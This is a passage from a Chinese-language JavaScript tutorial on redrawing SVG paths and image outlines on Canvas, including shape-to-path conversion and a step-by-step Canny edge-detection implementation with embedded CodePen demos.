`M`，所以你必须把他们分离出来，避免两条路径相互影响。也就是说，如果一条路径属于复合路径，则区分这两个符号：\n\n```js\nfunction generatePathNode(d) {\n\tvar path = document.createElementNS('http://www.w3.org/2000/svg', 'path');\n\tpath.setAttribute('d', d);\n\treturn path;\n};\n\nvar d = children[i].getAttribute('d');\n\n/** 分离复合路径 */\nvar ds = d.match(/m[\\s\\S]+?(?=(?:m|$)+)/ig);\nvar dsLen = ds.length;\n\n/** 复合路径 */\nif (dsLen > 1) {\n    /**\n     * 区分 `m` 和 `M`\n     * ...\n     */\n} else {\n    pathNodes.push(children[i]);\n}\n```\n\n#### 用 Canvas 作图\n\n注意：路径已经在提取出来并存储在本地变量中，下一步要做的是用点绘制出来：\n\n```js\nvar pointsArr = [];\nvar pathLen = pathNodes.length;\n\nfor (var j = 0; j < pathLen; j++) {\n    var index = pointsArr[].push([]);\n    var pointsLen = pathNodes[j].getTotalLength();\n\n    for (var k = 0; k < pointsLen; k++) {\n        /** 从路径中提取点 */\n        pointsArr[index].push(pathNodes[j].getPointAtLength(k));\n    }\n}\n```\n\n如你所见，`pointsArr` 是一个二维数组，第一维是路径，第二维是每个路径下的点。当然，这些点是能用 Canvas 画出来的，如下：\n\n```js\n/** 根据所给 index 绘制路径 */\nfunction drawPath(index) {\n    var ctx = canvas.getContext('2d');\n    ctx.beginPath();\n\n    /** 设置路径 */\n    ctx.moveTo(pointsArr[index][0].x, pointsArr[index][0].y);\n\n    for (var i = 1; i < pointsArr[index].length; i++) {\n        ctx.lineTo(pointsArr[index][i].x, pointsArr[index][i].y);\n    }\n\n    /** 渲染 */\n    ctx.stroke();\n}\n```\n\n试着考虑这样一个问题：如果一条路径包括尽可能多的可绘制点，如何优化绘制方案更快速地绘制？也许，跳着画是解决的简单之法，但是怎么跳着画是另一个关键问题。我还没有发现完美解法，如果你有想法，欢迎交流。\n\n```js\nfunction optimizeJump() {\n    var perfectJump = 1;\n\n    /**\n     * 计算最优跨度值的算法\n     * ...\n     */\n    return perfectJump;\n}\n\nfunction drawPath(index) {\n    var ctx = canvas.getContext('2d');\n    ctx.beginPath();\n\n    ctx.moveTo(pointsArr[index][0].x, pointsArr[index][0].y);\n\n    /** 跳着画的优化方案 */\n    var perfectJump = optimizeJump();\n    for (var i = 1; i < pointsArr[index].length; i+= perfectJump) {\n        ctx.lineTo(pointsArr[index][i].x, pointsArr[index][i].y);\n    }\n\n    ctx.stroke();\n}\n```\n\n算法是我们需要重点思考的。\n\n#### 校准参数\n\n随着需求越来越复杂，路径数据无法适应比例缩放，改变大小或者移动图形的场景。\n\n##### **为何要校准参数？**\n\n因为你可能要在Canvas当中对图形进行比例缩放、调整尺寸、移动，这就意味着路径数据也应该随着你的改动来变化。但实际上它不能，所以我们才需要校准参数。\n\n<p align=\"center\"><img width=\"70%\" src=\"https://github.com/aleen42/PersonalWiki/raw/master/post/how_to_draw/panel.png\" alt=\"draw in javascript\" /></p>\n<p align=\"center\"><strong>图 2.1</strong>所谓面板</p>\n\n图 2.1 展示了一个高亮工作区域，我叫它 **面板**。在这个面板上，你可以进行拖放，拖拽，调整尺寸或者移动操作。实际上，面板里包含了一个能满足你需求的 Canvas 对象。只需要把 SVG 文件（图 2.2）拖放到面板里，就可以在屏幕上重绘，结果如图 2.3：\n\n<p align=\"center\"><img width=\"50%\" src=\"http://ww1.sinaimg.cn/large/006y8lVagw1faie2abj2nj30e80e8dgn.jpg\" /></p>\n<p align=\"center\"><strong>图 2.2</strong>绘制的 SVG 文件</p>\n\n富含中国元素的美丽 logo 就生成啦\n\n<p align=\"center\"><img width=\"70%\" src=\"https://github.com/aleen42/PersonalWiki/raw/master/post/how_to_draw/1.png\" alt=\"draw in javascript\" /></p>\n<p align=\"center\"><strong>图 2.3</strong> 渲染图形 </p>\n\n除了图形操作，其他 SVG 属性也会影响路径数据，比如 `width`，`height` 和 `viewBox`。\n\n```html\n<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"400\" height=\"200\" viewBox=\"0 0 200 200\">\n    <!-- paths -->\n</svg>\n```\n\n所以，校准参数的计算受两个因素影响，**属性** 和 **操作**。\n\n##### **计算**\n\n计算之前，要了解定义的变量和代表的含义。\n\n首先是图形位置变量：\n\n- **oriX**: 图形初始 `x` 值\n- **oriY**: 图形初始 `y` 值\n- **moveX**: 移动前后 `x` 的差值.\n- **moveY**: 移动前后 `y` 的差值.\n- **viewBoxX**: 图形的 `viewBox` 属性的 `x` 值\n- **viewBoxY**: 图形的 `viewBox` 属性的 `y` 值\n\n然后是图形尺寸变量：\n\n- **oriW**: 图形初始宽度\n- **oriH**: 图形初始高度\n- **svgW**: SVG 元素的宽度\n- **svgH**: SVG 元素的高度\n- **viewBoxW**: SVG 元素的 `viewBox` 属性的宽度\n- **viewBoxH**: SVG 元素的 `viewBox` 属性的高度\n- **curW**: 图形的当前宽度\n- **curH**: 图形的当前高度\n\n了解变量含义之后，我们可以开始计算校准参数了。\n\n用以下公式计算图形的当前位置：\n\n```js\nvar x = oriX + moveX;   /** 图形的当前 x 值 */\nvar y = oriY + moveY;   /** 图形的当前 y 值 */\n```\n\n下面这个公式是用于计算比例：\n\n```js\nvar ratioParam = Math.max(oriW / svgW, oriH / svgH) * Math.min(svgW / viewBoxW, svgH / viewBoxH);\n\nvar ratioX = (curW / oriW) * ratioParam;\nvar ratioY = (curH / oriH) * ratioParam;\n```\n\n要记住 `viewBox` 属性的 `x` 和 `y` 值会裁切图形（如图 2.4）。所以，我们需要从初始点值中去掉这部分值。\n\n<p align=\"center\"><img width=\"70%\" src=\"https://github.com/aleen42/PersonalWiki/raw/master/post/how_to_draw/2.png\" alt=\"draw in javascript\" /></p>\n<p align=\"center\"><strong>图 2.4</strong> 裁切图形 </p>\n\n我只需要边缘点的最大值和最小值。举个栗子，如果点集的位置在图形之外，我就改变 `x` 或 `y`，甚至全部改变，重写到图形的边上。\n\n```js\npoint.x = point.x >= x && point.x <= x + curW ? point.x : ((point.x < x) ? x : x + curW);\npoint.y = point.y >= y && point.y <= x + curH ? point.y : ((point.y < y) ? y : y + curH);\n```\n\n据我所知，当点的数量很大的时候，删除范围外的点要比重写更好。\n\n#### 把所有形状变成路径元素\n\n现在，我们已经知道怎么用 JavaScript 绘制 `path` 元素。上文说道，在绘制 `rect`、`polyline`、`circle` 等其他元素定义的形状之前，应该先转换成路径。本节，就来介绍一下做法。\n\n##### **圆与椭圆**\n\n圆和椭圆元素是近亲，相同属性如表 2.1 所示：\n\n**圆**|**椭圆**\n:-----:|:------:\nCX|CX\nCY|CY\n\n<p align=\"center\"><strong>表 2.1</strong>相同属性</p>\n\n不同属性如表 2.2 所示：\n\n**圆**|**椭圆**\n:-----:|:------:\nR|RX\n|RY\n\n<p align=\"center\"><strong>表 2.2</strong>不同属性</p>\n\n路径转换方法如下：\n\n```js\nfunction convertCE(cx, cy) {\n    function calcOuput(cx, cy, rx, ry) {\n        if (cx < 0 || cy < 0 || rx <= 0 || ry <= 0) {\n            return '';\n        }\n\n        var output = 'M' + (cx - rx).toString() + ',' + cy.toString();\n        output += 'a' + rx.toString() + ',' + ry.toString() + ' 0 1,0 ' + (2 * rx).toString() + ',0';\n\t\toutput += 'a' + rx.toString() + ',' + ry.toString() + ' 0 1,0'  + (-2 * rx).toString() + ',0';\n\n\t\treturn output;\n    }\n\n    switch (arguments.length) {\n    case 3:\n        return calcOuput(parseFloat(cx, 10), parseFloat(cy, 10), parseFloat(arguments[2], 10), parseFloat(arguments[2], 10));\n    case 4:\n        return calcOuput(parseFloat(cx, 10), parseFloat(cy, 10), parseFloat(arguments[2], 10), parseFloat(arguments[3], 10));\n        break;\n    default:\n        return '';\n    }\n}\n```\n\n##### **多边形和随意画的圆**\n\n对于这些元素，要提取 `points` 属性。按路径元素的 `d` 值的特定格式重新组装。\n\n```js\n/** 传入 `points` 属性的值*/\nfunction convertPoly(points, types) {\n    types = types || 'polyline';\n\n    var pointsArr = points\n        /** 清除多余元素 */\n        .split(' \t').join('')\n        .trim()\n        .split(/\\s+|,/);\n    var x0 = pointsArr.shift();\n    var y0 = pointsArr.shift();\n\n    var output = 'M' + x0 + ',' + y0 + 'L' + pointsArr.join(' ');\n\n    return types === 'polygon' ? output + 'z' : output;\n}\n```\n\n##### **线段**\n\n一般来说，`line` 元素有多个属性用于线的定位：`x1`，`y1`，`x2` 和 `y2`。\n\n很简单，我们可以这么计算：\n\n```js\nfunction convertLine(x1, y1, x2, y2) {\n    if (parseFloat(x1, 10) < 0 || parseFloat(y1, 10) < 0 || parseFloat(x2, 10) < 0 || parseFloat(y2, 10) < 0) {\n        return '';\n    }\n\n    return 'M' + x1 + ',' + y1 + 'L' + x2 + ',' + y2;\n}\n```\n\n##### **矩形**\n\n矩形也有一些用于定位和决定大小的属性：`x`，`y`，`width` 和 `height`。\n\n```js\nfunction convertRectangles(x, y, width, height) {\n    var x = parseFloat(x, 10);\n    var y = parseFloat(y, 10);\n    var width = parseFloat(width, 10);\n    var height = parseFloat(height, 10);\n\n    if (x < 0 || y < 0 || width < 0 || height < 0) {\n        return '';\n    }\n\n    return 'M' + x + ',' + y + 'L' + (x + width) + ',' + y + ' ' + (x + width) + ',' + (y + height) + ' ' + x + ',' + (y + height) + 'z';\n}\n```\n\n形状转换成 `path` 的方法已经全部讲解完毕。你可以用这些方法绘制上述图形。\n\n### 绘制非 SVG 图像，也就是图片\n\n除了 SVG 文件，我们还想绘制像 PNG，JPG，或者 GIF 格式的图像。仅仅由像素数据组成，我们是无法直接使用的。因此，我尝试用计算机视觉领域的一个常见技术，Canny 边缘检测算法。用这种算法，可以简单地找到位图的轮廓。\n\n寻找轮廓的整个步骤简单概括为：**灰度** -> **高斯模糊** -> **Canny 梯度** -> **Canny 非极大值抑制** -> **Canny 磁滞** -> **扫描**。这也是 [Canny 边缘检测算法](https://en.wikipedia.org/wiki/Canny_edge_detector) 的步骤。\n\n在处理之前，我们要定义一些通用函数。第一个是 `runImg` 函数，通常用在从 Canvas 中加载图片时，将其转换成由数组组成的矩阵。\n\n```js\n/**\n * [runImg: 从 Canvas 对象中加载图片]\n * @param  {[type]}   canvas [the canvas object]\n * @param  {[type]}   size   [the size of the matrix, like 3 for 3x3 matrixs]\n * @param  {Function} fn     [callback function]\n */\nfunction runImg(canvas, size, fn) {\n    for (var y = 0; y < canvas.height; y++) {\n        for (var x = 0; x < canvas.width; x++) {\n            var i = x * 4 + y * canvas.width * 4;\n            var matrix = getMatrix(x, y, size);\n            fn(i, matrix);\n        }\n    }\n\n    /**\n     * [getMatrix: 给定规模生成矩阵]\n     * @param  {[type]} cx   [the x value of the central point]\n     * @param  {[type]} cy   [the y value of the central point]\n     * @param  {[type]} size [the size of the matrix you want to generate]\n     * @return {[type]}      [return null if size is null, or return a matrix with a legal given size]\n     */\n    function getMatrix(cx, cy, size) {\n        /**\n         * 给定 cx，cy，size，图片宽高，生成 size x size 的二维数组\n         */\n        if (!size) {\n            return;\n        }\n\n        var matrix = [];\n\n        for (var i = 0, y = -(size - 1) / 2; i < size; i++, y++) {\n            matrix[i] = [];\n\n            for (var j = 0, x = -(size - 1) / 2; j < size; j++, x++) {\n                matrix[i][j] = (cx + x) * 4 + (cy + y) * canvas.width * 4;\n            }\n        }\n\n        return matrix;\n    }\n}\n```\n\n然而，针对 `imgData` 还有一些操作，`imgData` 是 Canvas 中 Context 对象的 `Context.prototype.getImageData(x, y, width, height)` 这 个 prototype 方法的返回值变量。\n\n```js\n/**\n * [getRGBA: 给定初始节点获取 RGBA 值]\n * @param  {[type]} start   [the point you want to know]\n * @param  {[type]} imgData [image data of the canvas]\n * @return {[Object]}       [return an object composed with r, g, b, and a attributes respectively]\n */\nfunction getRGBA(start, imgData) {\n    return {\n        r: imgData.data[start],\n        g: imgData.data[start + 1],\n        b: imgData.data[start + 2],\n        a: imgData.data[start + 3]\n    };\n}\n\n/**\n * [getPixel: 类似 getRGBA, 但包含合法性检测]\n * @param  {[type]} i       [the point you want to know]\n * @param  {[type]} imgData [image data of the canvas]\n * @return {[Object]}       [return an object composed with r, g, b, and a attributes respectively]\n */\nfunction getPixel(i, imgData) {\n    if (i < 0 || i > imgData.data.length - 4) {\n        return {\n            r: 255,\n            g: 255,\n            b: 255,\n            a: 255\n        };\n    } else {\n        return getRGBA(i, imgData);\n    }\n}\n\n/**\n * [setPixel: 与 getPixel 相反, 这个函数用于为特定点设值]\n * @param {[type]} i       [the point you want to set]\n * @param {[type]} val     [an object composed with r, g, b, and a attributes respectively]\n * @param {[type]} imgData [image data of the canvas]\n */\nfunction setPixel(i, val, imgData) {\n    imgData.data[i] = typeof val === 'number' ? val : val.r;\n    imgData.data[i + 1] = typeof val === 'number' ? val : val.g;\n    imgData.data[i + 2] = typeof val === 'number' ? val : val.b;\n}\n```\n\n#### 灰度\n\n现在，可以开始找轮廓了，点击 *Run* 运行 Codepen 上给出的例子。由于有一定的复杂性，要等一会儿才能在屏幕上看到结果。\n\n灰度在维基百科上的定义如下：\n\n> 在摄影和计算领域，**灰度** 或者说 **灰度** 数字图像是每个像素值都是单个采样的图片，即，这样的图片只携带亮度信息。\n\n本节，我们将用两个方法实现灰度处理：\n\n```js\n/**\n * [calculateGray: 计算灰度值]\n * @param  {[type]} pixel [an object composed with r, g, b, and a attributes respectively]\n * @return {[Number]}     [return a grayscale value]\n */\nfunction calculateGray(pixel) {\n    return ((0.3 * pixel.r) + (0.59 * pixel.g) + (0.11 * pixel.b));\n}\n\n/**\n * [grayscale: 为 canvas 处理灰度]\n * @param  {[type]} canvas [the canvas object]\n */\nfunction grayscale(canvas) {\n    var ctx = canvas.getContext('2d');\n\n    var imgDataCopy = ctx.getImageData(0, 0, canvas.width, canvas.height);\n    var grayLevel;\n\n    runImg(canvas, null, function (current) {\n        grayLevel = calculateGray(getPixel(current, imgDataCopy));\n        setPixel(current, grayLevel, imgDataCopy);\n    });\n\n    ctx.putImageData(imgDataCopy, 0, 0);\n}\n```\n\n栗子如下：\n\n<p>\n<p data-height=\"383\" data-theme-id=\"21735\" data-slug-hash=\"gLOgLM\" data-default-tab=\"result\" data-user=\"aleen42\" data-embed-version=\"2\" data-pen-title=\"gLOgLM\" class=\"codepen\">See the Pen <a href=\"http://codepen.io/aleen42/pen/gLOgLM/\">gLOgLM</a> by aleen42 (<a href=\"http://codepen.io/aleen42\">@aleen42</a>) on <a href=\"http://codepen.io\">CodePen</a>.</p>\n<script async src=\"https://production-assets.codepen.io/assets/embed/ei.js\"></script>\n</p>\n\n#### 高斯模糊\n\n高斯模糊是增加边缘检测精度的一个方法，也是 Canny 边缘检测的第一步。\n\n```js\n/**\n * [sumArr: 给定数组取和]\n * @param  {[type]} arr [the array]\n * @return {[type]}     [return the sum value]\n */\nfunction sumArr(arr) {\n    var result = 0;\n\n    arr.map(function(element, index) {\n        result += (/^\\s*function Array/.test(String(element.constructor))) ? sumArr(element) : element;\n    });\n\n    return result;\n}\n\n/**\n * [generateKernel: 生成高斯模糊算法的核心参数]\n * @param  {[type]} sigma [the sigma value]\n * @param  {[type]} size  [the size of the matrix]\n * @return {[type]}       [description]\n */\nfunction generateKernel(sigma, size) {\n    var kernel = [];\n\n    /** Euler's number rounded of to 3 places */\n    var E = 2.718;\n\n    for (var y = -(size - 1) / 2, i = 0; i < size; y++, i++) {\n        kernel[i] = [];\n\n        for (var x = -(size - 1) / 2, j = 0; j < size; x++, j++) {\n            /** create kernel round to 3 decimal places */\n            kernel[i][j] = 1 / (2 * Math.PI * Math.pow(sigma, 2)) * Math.pow(E, -(Math.pow(Math.abs(x), 2) + Math.pow(Math.abs(y), 2)) / (2 * Math.pow(sigma, 2)));\n        }\n    }\n\n    /** normalize the kernel to make its sum 1 */\n    var normalize = 1 / sumArr(kernel);\n\n    for (var k = 0; k < kernel.length; k++) {\n        for (var l = 0; l < kernel[k].length; l++) {\n            kernel[k][l] = Math.round(normalize * kernel[k][l] * 1000) / 1000;\n        }\n    }\n\n    return kernel;\n}\n\n/**\n * [gaussianBlur: 对 canvas 对象进行高斯模糊处理]\n * @param  {[type]} canvas [the canvas object]\n * @param  {[type]} sigma  [the sigma value]\n * @param  {[type]} size   [the size of the matrix]\n * @return {[type]}        [description]\n */\nfunction gaussianBlur(canvas, sigma, size) {\n    var ctx = canvas.getContext('2d');\n\n    var imgDataCopy = ctx.getImageData(0, 0, canvas.width, canvas.height);\n    var kernel = generateKernel(sigma, size);\n\n    runImg(canvas, size, function (current, neighbors) {\n        var resultR = 0;\n        var resultG = 0;\n        var resultB = 0;\n        var pixel;\n\n        for (var i = 0; i < size; i++) {\n            for (var j = 0; j < size; j++) {\n                pixel = getPixel(neighbors[i][j], imgDataCopy);\n\n                /** 返回像素值乘以核心值 */\n                resultR += pixel.r * kernel[i][j];\n                resultG += pixel.g * kernel[i][j];\n                resultB += pixel.b * kernel[i][j];\n            }\n        }\n\n        setPixel(current, {\n            r: resultR,\n            g: resultG,\n            b: resultB\n        }, imgDataCopy);\n    });\n\n    ctx.putImageData(imgDataCopy, 0, 0);\n}\n```\n\n如果你想检查效果，改变 sigma 和 size 参数返回演示如下，\n\n<p>\n<p data-height=\"383\" data-theme-id=\"21735\" data-slug-hash=\"LbYWYN\" data-default-tab=\"result\" data-user=\"aleen42\" data-embed-version=\"2\" data-pen-title=\"LbYWYN\" class=\"codepen\">See the Pen <a href=\"http://codepen.io/aleen42/pen/LbYWYN/\">LbYWYN</a> by aleen42 (<a href=\"http://codepen.io/aleen42\">@aleen42</a>) on <a href=\"http://codepen.io\">CodePen</a>.</p>\n<script async src=\"https://production-assets.codepen.io/assets/embed/ei.js\"></script>\n</p>\n\n#### Canny 梯度\n\n在这步，我们将找到图片的亮度梯度（G）。在之前，我们要得到边缘检测器（Roberts，Prewitt，Sobel等）第一步在水平方向（Gx）和垂直方向（Gy）的衍生值。我们用的是 **Sobel 探测器**。\n\n在处理灰度之前，我们应该导出一个模块，用于操作像素，我们命名为 Pixel。\n\n```js\n(function(exports) {\n    /** 实际上，每个像素有 8 个方向 */\n    var DIRECTIONS = ['n', 'e', 's', 'w', 'ne', 'nw', 'se', 'sw'];\n\n    function Pixel(i, w, h, canvas) {\n        this.index = i;\n        this.width = w;\n        this.height = h;\n        this.neighbors = [];\n        this.canvas = canvas;\n\n        DIRECTIONS.map(function(d, idx) {\n            this.neighbors.push(this[d]());\n        }.bind(this));\n    }\n\n    /**\n     * 这个对象方便获取 8 个临近方向的像素值\n     * _______________\n     * | NW | N | NE |\n     * |____|___|____|\n     * | W  | C | E  |\n     * |____|___|____|\n     * | SW | S | SE |\n     * |____|___|____|\n     * 给定矩阵模型的 index, width and height\n    **/\n\n    Pixel.prototype.n = function() {\n        /**\n         * 像素在 canvas 图片数据中是个简单数组\n         * 1 个像素占用 4 个连续数组元素\n         * 等于 r-g-b-a\n         */\n        return (this.index - this.width * 4);\n    };\n\n    Pixel.prototype.e = function() {\n        return (this.index + 4);\n    };\n\n    Pixel.prototype.s = function() {\n        return (this.index + this.width * 4);\n    };\n\n    Pixel.prototype.w = function() {\n        return (this.index - 4);\n    };\n\n    Pixel.prototype.ne = function() {\n        return (this.index - this.width * 4 + 4);\n    };\n\n    Pixel.prototype.nw = function() {\n        return (this.index - this.width * 4 - 4);\n    };\n\n    Pixel.prototype.se = function() {\n        return (this.index + this.width * 4 + 4);\n    };\n\n    Pixel.prototype.sw = function() {\n        return (this.index + this.width * 4 - 4);\n    };\n\n    Pixel.prototype.r = function() {\n        return this.canvas[this.index];\n    };\n\n    Pixel.prototype.g = function() {\n        return this.canvas[this.index + 1];\n    };;\n\n    Pixel.prototype.b = function() {\n        return this.canvas[this.index + 2];\n    };\n\n    Pixel.prototype.a = function() {\n        return this.canvas[this.index + 3];\n    };\n\n    Pixel.prototype.isBorder = function() {\n        return (this.index - (this.width * 4)) < 0 ||\n            (this.index % (this.width * 4)) === 0 ||\n            (this.index % (this.width * 4)) === ((this.width * 4) - 4) ||\n            (this.index + (this.width * 4)) > (this.width * this.height * 4);\n    };\n\n    exports.Pixel = Pixel;\n}(this));\n```\n\n用 Pixel 开始实现梯度处理：\n\n```js\nfunction roundDir(deg) {\n    /** rounds degrees to 4 possible orientations: horizontal, vertical, and 2 diagonals */\n    var deg = deg < 0 ? deg + 180 : deg;\n\n    if ((deg >= 0 && deg <= 22.5) || (deg > 157.5 && deg <= 180)) {\n        return 0;\n    } else if (deg > 22.5 && deg <= 67.5) {\n        return 45;\n    } else if (deg > 67.5 && deg <= 112.5) {\n        return 90;\n    } else if (deg > 112.5 && deg <= 157.5) {\n        return 135;\n    }\n};\n\nfunction gradient(canvas, op) {\n    var ctx = canvas.getContext('2d');\n\n    var imgData = ctx.getImageData(0, 0, canvas.width, canvas.height);\n    var imgDataCopy = ctx.getImageData(0, 0, canvas.width, canvas.height);\n\n    var dirMap = [];\n    var gradMap = [];\n\n    var SOBEL_X_FILTER = [\n        [-1, 0, 1],\n        [-2, 0, 2],\n        [-1, 0, 1]\n    ];\n\n    var SOBEL_Y_FILTER = [\n        [1, 2, 1],\n        [0, 0, 0],\n        [-1, -2, -1]\n    ];\n\n    var ROBERTS_X_FILTER = [\n        [1, 0],\n        [0, -1]\n    ];\n\n    var ROBERTS_Y_FILTER = [\n        [0, 1],\n        [-1, 0]\n    ];\n\n    var PREWITT_X_FILTER = [\n        [-1, 0, 1],\n        [-1, 0, 1],\n        [-1, 0, 1]\n    ];\n\n    var PREWITT_Y_FILTER = [\n        [-1, -1, -1],\n        [0, 0, 0],\n        [1, 1, 1]\n    ];\n\n    var OPERATORS = {\n        'sobel': {\n            x: SOBEL_X_FILTER,\n            y: SOBEL_Y_FILTER,\n            len: SOBEL_X_FILTER.length\n        },\n        'roberts': {\n            x: ROBERTS_X_FILTER,\n            y: ROBERTS_Y_FILTER,\n            len: ROBERTS_Y_FILTER.length\n        },\n        'prewitt': {\n            x: PREWITT_X_FILTER,\n            y: PREWITT_Y_FILTER,\n            len: PREWITT_Y_FILTER.length\n        }\n    };\n\n    runImg(canvas, 3, function (current, neighbors) {\n        var edgeX = 0;\n        var edgeY = 0;\n        var pixel = new Pixel(current, imgDataCopy.width, imgDataCopy.height);\n\n        if (!pixel.isBorder()) {\n            for (var i = 0; i < OPERATORS[op].len; i++) {\n                for (var j = 0; j < OPERATORS[op].len; j++) {\n                    edgeX += imgData.data[neighbors[i][j]] * OPERATORS[op][\"x\"][i][j];\n                    edgeY += imgData.data[neighbors[i][j]] * OPERATORS[op][\"y\"][i][j];\n                }\n            }\n        }\n\n        dirMap[current] = roundDir(Math.atan2(edgeY, edgeX) * (180 / Math.PI));\n        gradMap[current] = Math.round(Math.sqrt(edgeX * edgeX + edgeY * edgeY));\n\n        setPixel(current, gradMap[current], imgDataCopy);\n    });\n\n    ctx.putImageData(imgDataCopy, 0, 0);\n}\n```\n\n样例如下：\n\n<p>\n<p data-height=\"383\" data-theme-id=\"21735\" data-slug-hash=\"aBbpWM\" data-default-tab=\"result\" data-user=\"aleen42\" data-embed-version=\"2\" data-pen-title=\"aBbpWM\" class=\"codepen\">See the Pen <a href=\"http://codepen.io/aleen42/pen/aBbpWM/\">aBbpWM</a> by aleen42 (<a href=\"http://codepen.io/aleen42\">@aleen42</a>) on <a href=\"http://codepen.io\">CodePen</a>.</p>\n<script async src=\"https://production-assets.codepen.io/assets/embed/ei.js\"></script>\n</p>\n\n#### Canny 非极大值抑制\n\n非极大值抑制应用到 “薄” 边。梯度计算后，从梯度值中提取的边缘仍然很模糊。根据范式 3，边缘只能有一个精确值。所以非极大值抑制能够帮助抑制除了本地极大值之外的其他值，指出亮度值改变最大的位置。\n\n最后一步是计算 `dirMap` 和 `graphMap`：\n\n```js\nfunction getPixelNeighbors(dir) {\n    var degrees = {\n        0: [{ x: 1, y: 2 }, { x: 1, y: 0 }],\n        45: [{ x: 0, y: 2 }, { x: 2, y: 0 }],\n        90: [{ x: 0, y: 1 }, { x: 2, y: 1 }],\n        135: [{ x: 0, y: 0 }, { x: 2, y: 2 }]\n    };\n\n    return degrees[dir];\n}\n\nfunction nonMaximumSuppress(canvas, dirMap, gradMap) {\n    var ctx = canvas.getContext('2d');\n\n    var imgDataCopy = ctx.getImageData(0, 0, canvas.width, canvas.height);\n\n    runImg(canvas, 3, function(current, neighbors) {\n        var pixNeighbors = getPixelNeighbors(dirMap[current]);\n\n        /** pixel neighbors to compare */\n        var pix1 = gradMap[neighbors[pixNeighbors[0].x][pixNeighbors[0].y]];\n        var pix2 = gradMap[neighbors[pixNeighbors[1].x][pixNeighbors[1].y]];\n\n        if (pix1 > gradMap[current] ||\n            pix2 > gradMap[current] ||\n            (pix2 === gradMap[current] &&\n                pix1 < gradMap[current])) {\n            setPixel(current, 0, imgDataCopy);\n        }\n    });\n\n    ctx.putImageData(imgDataCopy, 0, 0);\n}\n```\n\n抑制之后，看起来比以前效果要好：\n\n<p>\n<p data-height=\"383\" data-theme-id=\"21735\" data-slug-hash=\"jVOBNe\" data-default-tab=\"result\" data-user=\"aleen42\" data-embed-version=\"2\" data-pen-title=\"jVOBNe\" class=\"codepen\">See the Pen <a href=\"http://codepen.io/aleen42/pen/jVOBNe/\">jVOBNe</a> by aleen42 (<a href=\"http://codepen.io/aleen42\">@aleen42</a>) on <a href=\"http://codepen.io\">CodePen</a>.</p>\n<script async src=\"https://production-assets.codepen.io/assets/embed/ei.js\"></script>\n</p>\n\n#### Canny 磁滞\n\n无论如何，这个所谓的 “弱” 边还需要进一步加工。Canny 磁滞是 Canny 边缘检测的改进方法。\n\n```js\nfunction createHistogram(canvas) {\n    var histogram = {\n        g: []\n    };\n\n    var size = 256;\n    var total = 0;\n\n    var ctx = canvas.getContext('2d');\n\n    var imgData = ctx.getImageData(0, 0, canvas.width, canvas.height);\n\n    while (size--) {\n        histogram.g[size] = 0;\n    }\n\n    runImg(canvas, null, function(i) {\n        histogram.g[imgData.data[i]]++;\n        total++;\n    });\n\n    histogram.length = total;\n\n    return histogram;\n};\n\nfunction calcBetweenClassVariance(weight1, mean1, weight2, mean2) {\n    return weight1 * weight2 * (mean1 - mean2) * (mean1 - mean2);\n};\n\nfunction calcWeight(histogram, s, e) {\n    var total = histogram.reduce(function(i, j) {\n        return i + j;\n    }, 0);\n\n    var partHist = (s === e) ? [histogram[s]] : histogram.slice(s, e);\n    var part = partHist.reduce(function(i, j) {\n        return i + j;\n    }, 0);\n\n    return parseFloat(part, 10) / total;\n};\n\nfunction calcMean(histogram, s, e) {\n    var partHist = (s === e) ? [histogram[s]] : histogram.slice(s, e);\n\n    var val = 0;\n    var total = 0;\n\n    partHist.forEach(function(el, i) {\n        val += ((s + i) * el);\n        total += el;\n    });\n\n    return parseFloat(val, 10) / total;\n};\n\nfunction fastOtsu(canvas) {\n    var histogram = createHistogram(canvas);\n    var start = 0;\n    var end = histogram.g.length - 1;\n\n    var leftWeight;\n    var rightWeight;\n    var leftMean;\n    var rightMean;\n\n    var betweenClassVariances = [];\n    var max = -Infinity;\n    var threshold;\n\n    histogram.g.forEach(function(el, i) {\n        leftWeight = calcWeight(histogram.g, start, i);\n        rightWeight = calcWeight(histogram.g, i, end + 1);\n        leftMean = calcMean(histogram.g, start, i);\n        rightMean = calcMean(histogram.g, i, end + 1);\n        betweenClassVariances[i] = calcBetweenClassVariance(leftWeight, leftMean, rightWeight, rightMean);\n\n        if (betweenClassVariances[i] > max) {\n            max = betweenClassVariances[i];\n            threshold = i;\n        }\n    });\n\n    return threshold;\n};\n\nfunction getEdgeNeighbors(i, imgData, threshold, includedEdges) {\n    var neighbors = [];\n    var pixel = new Pixel(i, imgData.width, imgData.height);\n\n    for (var j = 0; j < pixel.neighbors.length; j++) {\n        if (imgData.data[pixel.neighbors[j]] >= threshold && (includedEdges === undefined || includedEdges.indexOf(pixel.neighbors[j]) === -1)) {\n            neighbors.push(pixel.neighbors[j]);\n        }\n    }\n\n    return neighbors;\n}\n\nfunction _traverseEdge(current, imgData, threshold, traversed) {\n    /**\n     * traverses the current pixel until a length has been reached\n     * initialize the group from the current pixel's perspective\n     */\n    var group = [current];\n\n    /** pass the traversed group to the getEdgeNeighbors so that it will not include those anymore */\n    var neighbors = getEdgeNeighbors(current, imgData, threshold, traversed);\n\n    for (var i = 0; i < neighbors.length; i++) {\n        /** recursively get the other edges connected */\n        group = group.concat(_traverseEdge(neighbors[i], imgData, threshold, traversed.concat(group)));\n    }\n\n    /** if the pixel group is not above max length, it will return the pixels included in that small pixel group */\n    return group;\n}\n\nfunction hysteresis(canvas) {\n    var ctx = canvas.getContext('2d');\n\n    var imgDataCopy = ctx.getImageData(0, 0, canvas.width, canvas.height);\n\n    /** where real edges will be stored with the 1st pass */\n    var realEdges = [];\n\n    /** high threshold value */\n    var t1 = fastOtsu(canvas);\n\n    /** low threshold value */\n    var t2 = t1 / 2;\n\n    /** first pass */\n    runImg(canvas, null, function(current) {\n        if (imgDataCopy.data[current] > t1 && realEdges[current] === undefined) {\n            /** accept as a definite edge */\n            var group = _traverseEdge(current, imgDataCopy, t2, []);\n            for (var i = 0; i < group.length; i++) {\n                realEdges[group[i]] = true;\n            }\n        }\n    });\n\n    /** second pass */\n    runImg(canvas, null, function(current) {\n        if (realEdges[current] === undefined) {\n            setPixel(current, 0, imgDataCopy);\n        } else {\n            setPixel(current, 255, imgDataCopy);\n        }\n    });\n\n    ctx.putImageData(imgDataCopy, 0, 0);\n}\n```\n\n从图中删除 “弱” 边之后是什么样的呢？\n\n<p>\n<p data-height=\"383\" data-theme-id=\"21735\" data-slug-hash=\"RowpLx\" data-default-tab=\"result\" data-user=\"aleen42\" data-embed-version=\"2\" data-pen-title=\"RowpLx\" class=\"codepen\">See the Pen <a href=\"http://codepen.io/aleen42/pen/RowpLx/\">RowpLx</a> 